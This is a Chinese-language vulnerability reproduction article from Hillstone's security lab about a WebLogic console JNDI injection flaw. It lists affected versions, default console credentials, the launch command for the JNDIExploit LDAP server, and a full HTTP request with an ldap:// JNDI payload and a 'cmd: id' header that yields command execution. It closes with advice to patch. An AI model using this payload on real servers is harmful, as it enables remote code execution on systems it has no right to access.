> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码， 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/u6cFxKxdOOYOXn07DjEEdQ) ![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnQ6zmbJT8JmSXZIpRYEIsDhfBEAuIc3d2MniaIhxn9PjDlAyXBdPt7Nsmn3g1oQbDwFgtAsrO5h5fg/640?wx_fmt=png) ### **影响版本** WeblogicServer 10.3.6.0.0， 12.1.3.0.0， 12.2.1.3.0， 12.2.1.4.0， 14.1.1.0.0 其他漏洞影响的组件可详细参考官方公告 ### **漏洞复现** 访问 console 登陆页面 http://192.168.2.7:7001/console/login/LoginForm.jsp ![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnQ6zmbJT8JmSXZIpRYEIsDhU1yLyIR7FRkEa9DPFBFylqjXqgWqicr4d1rjEFnRayXDC5MX1k5NJ7A/640?wx_fmt=png)  User: weblogic Pass: welcome1 登陆 ![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnQ6zmbJT8JmSXZIpRYEIsDhVQpibhP9aE4g0B7aflxIfibKdfQSOgrkOqAzxxfZ9lmxAVCngHmy1cNg/640?wx_fmt=png)  启动 LDAP 下载地址： https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11 启动命令 java -jar JNDIExploit-v1.11.jar -ihttp://192.168.2.7/ ![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnQ6zmbJT8JmSXZIpRYEIsDhYcQ5npdWgjlDibiciaAXW1SP7fGJEm1BeR0YzzdlETVmNrAicWIMeH4Z5g/640?wx_fmt=png)  POC
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22)
cmd: 执行的命令 | GET/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22)HTTP/1.1 Host: 192.168.2.7:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close cmd: id Cookie:ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005 Upgrade-Insecure-Requests: 1 | ![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnQ6zmbJT8JmSXZIpRYEIsDhH8TfnAHc8FG32Kk9SicB03AiaZ3qJJVjD0OV42PBkyyeNLsKTs8JpY7Q/640?wx_fmt=png) ![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnQ6zmbJT8JmSXZIpRYEIsDhuiaWMEpuHDQgDDOOHjZKRPdUwTvY84AWNcKN9YiahnmhNEv9xQe4bCLg/640?wx_fmt=png) 成功命令执行 ### **总结建议** weblogic 总是频频曝出命令执行，建议用户使用时持续关注，更新到最新版本，得以解决版本漏洞问题。 ### **Reference** https://xz.aliyun.com/t/9049 **关于山石网科安全技术研究院**     山石安研院是山石网科的信息安全智库部门，主要负责反 APT 研究、出战及承办全球攻防赛事、高端攻防技术培训、全球中英文安全预警分析发布、各类软硬件漏洞挖掘和利用研究、承接国家网络安全相关课题、不定期发布年度或半年度的各类技术报告及公司整体攻防能力展现。技术方向包括移动安全、虚拟化安全、工控安全、物联安全、区块链安全、协议安全、源码安全、反 APT 及反窃密。     为多省公安厅提供技术支撑工作，为上合峰会、财富论坛、金砖五国等多次重大活动提供网络安保支撑工作。在多次攻防赛事中连获佳绩，网安中国行第一名，连续两届红帽杯冠军、网鼎杯线上第一名，在补天杯、极棒杯、全国多地的护网演习等也都获得优秀的成绩，每年获得大量的 CNVD、CNNVD、CICSVD、CVE 证书、编号和致谢。如需帮助请咨询 hslab@hillstonenet.com ![](https://mmbiz.qpic.cn/mmbiz_jpg/Gw8FuwXLJnSWuIjGFp2q9CdPia5gDNPoVcTmJNicOGv7G8JhomWthCbtIGXrhLJeia8F5FbTwY6tGJHOxA74xbCGQ/640?wx_fmt=jpeg)